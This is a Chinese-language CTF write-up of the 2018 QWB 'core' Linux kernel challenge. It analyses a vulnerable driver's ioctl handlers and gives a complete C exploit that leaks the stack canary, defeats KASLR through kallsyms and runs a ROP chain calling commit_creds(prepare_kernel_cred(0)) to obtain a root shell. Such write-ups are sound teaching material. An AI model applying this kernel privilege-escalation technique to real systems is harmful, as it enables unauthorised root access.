# 2018 强网杯 core,作为 kernel 学习开始的记录,栈溢出,ret2rop
# 前置 zhishi
# 1. 题目环境
题目保护环境有两类,一类可执行文件的保护机制,一类是文件系统驱动内核的保护机制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 dreamcat@ubuntu:~/Desktop/kernel/2018 qwb_core/give_to_player$ checksec core.ko [*] '/home/dreamcat/Desktop/kernel/2018qwb_core/give_to_player/core.ko' Arch: amd64-64 -little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0 ) start.sh: qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./rootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \ ~
可以看到这里开启了 kaslr 保护。
# 2.
# canary
core.ko 开启了 canary,我们需要泄露他,进而构造 rop
# kaslr
kaslr 类似与用户 pwn 的 aslr 或者 pie,一种地址偏移技术。如果我们可以获取 vmlinux_base 就可以绕过这个,执行其他函数。
获取方式:head /proc/kallsyms 1,startup 对应的地址就是基址
# core_base
驱动加载地址,查看方式
1 2 3 4 5 6 7 8 9 10 11 12 13 cat /proc/modulescat /proc/devicescat /proc/kallsymslsmod dmesg / core 16384 0 - Live 0xffffffffc02aa000 (O)
# 题目分析
core.ko 就是我们需要利用的漏洞驱动
# #core_ioctl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 __fastcall core_ioctl (__int64 fd, int idx, __int64 user_buf) { switch ( idx ) { case 0x6677889B : core_read(user_buf); break ; case 0x6677889C : printk(&unk_2CD); off = user_buf; break ; case 0x6677889A : printk(&unk_2B3); core_copy_func(user_buf); break ; } return 0LL ; }
根据我们的传参实现三种功能, case 0x6677889C: 实现我们控制 off 全局变量
# core_read
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 unsigned __int64 __fastcall core_read (__int64 a1) { char *v2; __int64 i; unsigned __int64 result; char buf[64 ]; unsigned __int64 canary; canary = __readgsqword(0x28 u); printk(&unk_25B); printk(&unk_275); v2 = buf; for ( i = 16LL ; i; --i ) { *(_DWORD *)v2 = 0 ; v2 += 4 ; } strcpy (buf, "Welcome to the QWB CTF challenge.\n" ); result = copy_to_user(a1, &buf[off], 64LL ); if ( !result ) return __readgsqword(0x28 u) ^ canary; __asm { swapgs } return result; }
控制 off 后,我们就可一计算 buf 与 canary 的编译,然后通过 copy_to_user 将 canary 泄露出来。
# core_copy_func
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 __fastcall core_copy_func (__int64 size) { __int64 result; _QWORD v2[10 ]; v2[8 ] = __readgsqword(0x28 u); printk(&unk_215); if ( size > 63 ) { printk(&unk_2A1); result = 0xFFFFFFFF LL; } else { result = 0LL ; qmemcpy(v2, &name, (unsigned __int16)size); } return result; }
传入负数就可以绕过检查,然后实现对 v2 的溢出。
# core_write
1 2 3 4 5 6 7 8 __int64 __fastcall core_write (__int64 a1, __int64 _buf, unsigned __int64 size) { printk(&unk_215); if ( a3 <= 0x800 && !copy_from_user(&name, _buf, size) ) return (unsigned int )size; printk(&unk_230); return 4294967282LL ; }
将数据写入内核全局变量 name 中。
1、通过 /tmp/kallsyms 文件获得 commit_creds 函数与 prepare_kernel_cred 函数地址,并计算出所需 gadget 地址。2、对全局变量 off 赋值 0x40,通过 core_read 函数获得 canary 的值。3、构建好 ropchain,使用 core_write 函数将 ropchain 复制到内核态中 4、通过 core_copy_func 函数中的数值溢出造成的栈溢出漏洞,将 ropchain 放入栈中,退出函数时完成提权并返回用户态 getrootshell。
# 漏洞利用
kernel rop 相较于用户态 rop 的不同点吧。在用户态中我们的目的是为了获得 shell,也就是令程序执行诸如 system ("/bin/sh") 一类的函数,然而到了 kernel pwn 中我们的目的从原先的 getshell 变成了提权,也就是执行 commit_creds (prepare_kernel_cred (0)) 函数,并且执行完提权函数以后我们需要从内核态返回到用户态执行 system ("/bin/sh") 获取 root 权限的 shell 才可以,所以在我看来 kernel rop 变得无非就是两步:执行提权函数,返回用户态获取 rootshell。从内核态返回用户态所需要用到的 swapgs 指令与 iretq 指令,前者是在从用户态进入内核态时,通过交换 IA32_KERNEL_GS_BASE 与 IA32_GS_BASE 值,从而得到 kernel 数据结构块,而从内核态变回用户态时需要将原先用户态的信息再交换回来。iretq 指令则用来恢复用户态的 cs、ss、rsp、rip、rflags 的信息。其具体布局如下所示:
1 2 3 4 5 6 7 8 9 10 11 +-----------+ -----lower | RIP | +-----------+ | CS | +-----------+ | rflags | +-----------+ | RSP | +-----------+ | SS | -----higher +-----------+
在计算内核 gadget 地址的时候我们使用 ropper 得到的 gadget 地址需要加上 offset 才是真实地址,这个和用户态的一样很好理解,而这个 offset 的获取办法,因为程序将函数地址导入到了 /tmp/kallsyms 中,我们我们可以 cat 出函数的真实地址,然后减去函数的 textoffset,就得到了 vmlinux_base. 而刚才所说的 offset 就是 vmlinux_base 减去 raw_vmlinux_base,即 0xffffffff81000000 的值。这题我们可以直接获取 start_up64
1 2 3 4 5 6 7 8 9 10 dreamcat@ubuntu:~/Desktop/kernel/2018 qwb_core/give_to_player$ checksec vmlinux [*] '/home/dreamcat/Desktop/kernel/2018qwb_core/give_to_player/vmlinux' Arch: amd64-64 -little Version: 4.15 .8 RELRO: No RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0xffffffff81000000 ) RWX: Has RWX segments
# 获取 vmlinux_base
打开 /tmp/kallsyms,获得 commit_creds 函数与 prepare_kernel_cred 函数地址,并计算出 gadget 的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 int GetAddress () { char *ptr; char buf[0x30 ] = {0 }; FILE* fd = fopen("/tmp/kallsyms" ,"r" ); if (!fd) { puts ("[-] ERROR." ); return 0 ; } while (fgets(buf, sizeof (buf), fd)) { if (commit_creds && prepare_kernel_cred){ printf ("[+] Find: commit_creds: 0x%llx\n[+] Find: prepare_kernel_cred: 0x%llx\n" , commit_creds, prepare_kernel_cred); return 1 ; } if (strstr (buf, "commit_creds" )) { commit_creds = strtoull(buf, ptr, 16 ); } if (strstr (buf, "prepare_kernel_cred" )) { prepare_kernel_cred = strtoull(buf, ptr, 16 ); } } return 0 ; }
#返回用户态的准备,我们最终要返回用户太执行 system (’/bin/sh’),从你内核太返回的时候,iretq 会恢复某些寄存器的值。所以我们需要提前保存这些值。
1 2 3 4 5 6 7 8 9 10 void SaveStatus () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); }
这里才用汇编内联,将数据保存到全局变量中 user_cs, user_ss, user_sp,
core.ko 一个外设,但是再 linux 中,万物皆文件,所以只需要访问 /proc/core。
但是如何实现用户访问与内核的转换的呢?ioctl 函数提供响应的接口。设备对应的是 core_ioctl 函数。
首先我们要泄露 canary,通过分析,我们得知,buf 与 canary 的偏移量是 0x40,core_read 函数会把 buf 拷贝到我们的 user_buf 中。
1 2 ioctl(fd, CORE_OFF, 0x40 ); ioctl(fd, 0x6677889B , user_buf);
下面我们就要构造 rop, 首先填充 v2 的八字节以及 canary,然后就是布置 gadget。说明一点,commit_creds (prepare_kernel_cred (0))是在内核态执行的,只有在返回用户态的时候(也就是我们执行完了提权,才需要布置额外的寄存器的数据)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int i=8 ;char rop[0x100 ] = {0 };rop[i++] = canary; rop[i++] = 0 ; rop[i++] = pop_rdi; rop[i++] = 0 ; rop[i++] = prepare_kernel_cred; rop[i++] = pop_rdx; rop[i++] = commit_creds; rop[i++] = mov_rdi_rax; rop[i++] = swapgs; rop[i++] = 0 ; rop[i++] = iretq; rop[i++] = (size_t )GetShell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
# 完整的 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #define CORE_READ 0x6677889B #define CORE_OFF 0x6677889C #define CORE_COPY 0x6677889A size_t vmlinux_base, commit_creds, prepare_kernel_cred;size_t user_cs, user_ss, user_sp, user_rflags;size_t raw_vmlinux_base = 0xffffffff81000000 ; int GetAddress () { char *ptr; char buf[0x30 ] = {0 }; FILE* fd = fopen("/tmp/kallsyms" ,"r" ); if (!fd) { puts ("[-] ERROR." ); return 0 ; } while (fgets(buf, sizeof (buf), fd)) { if (commit_creds && prepare_kernel_cred){ printf ("[+] Find: commit_creds: 0x%llx\n[+] Find: prepare_kernel_cred: 0x%llx\n" , commit_creds, prepare_kernel_cred); return 1 ; } if (strstr (buf, "commit_creds" )) { commit_creds = strtoull(buf, ptr, 16 ); } if (strstr (buf, "prepare_kernel_cred" )) { prepare_kernel_cred = strtoull(buf, ptr, 16 ); } } return 0 ; } void SaveStatus () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); } void GetShell () { if (!getuid()) { system("/bin/sh" ); } else { puts ("[-] CAN NOT GETSHELL." ); exit (1 ); } } void main () { size_t rop[0x100 ]; char user_buf[0x40 ] = {0 }; char * ptr; int i = 8 ; SaveStatus(); GetAddress(); vmlinux_base = commit_creds - 0x9c8e0 ; size_t offset = vmlinux_base - raw_vmlinux_base; size_t pop_rdi = 0xffffffff81679ba8 + offset; size_t pop_rdx = 0xffffffff810a0f49 + offset; size_t mov_rdi_rax = 0xffffffff8106a6d2 + offset; size_t swapgs = 0xffffffff81a012da + offset; size_t iretq = 0xffffffff81050ac2 + offset; int fd = open("/proc/core" , 2 ); if (!fd) { puts ("[-] OPEN /proc/core ERROR." ); exit (0 ); } ioctl(fd, CORE_OFF, 0x40 ); ioctl(fd, 0x6677889B , user_buf); size_t canary = ((size_t *)user_buf)[0 ]; printf ("[+] Find canary: 0x%llx\n" , canary); rop[i++] = canary; rop[i++] = 0 ; rop[i++] = pop_rdi; rop[i++] = 0 ; rop[i++] = prepare_kernel_cred; rop[i++] = pop_rdx; rop[i++] = commit_creds; rop[i++] = mov_rdi_rax; rop[i++] = swapgs; rop[i++] = 0 ; rop[i++] = iretq; rop[i++] = (size_t )GetShell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd, rop, sizeof (rop)); ioctl(fd, CORE_COPY, 0xffffffffffff0000 |0x100 ); }
# 如何上穿 exp。?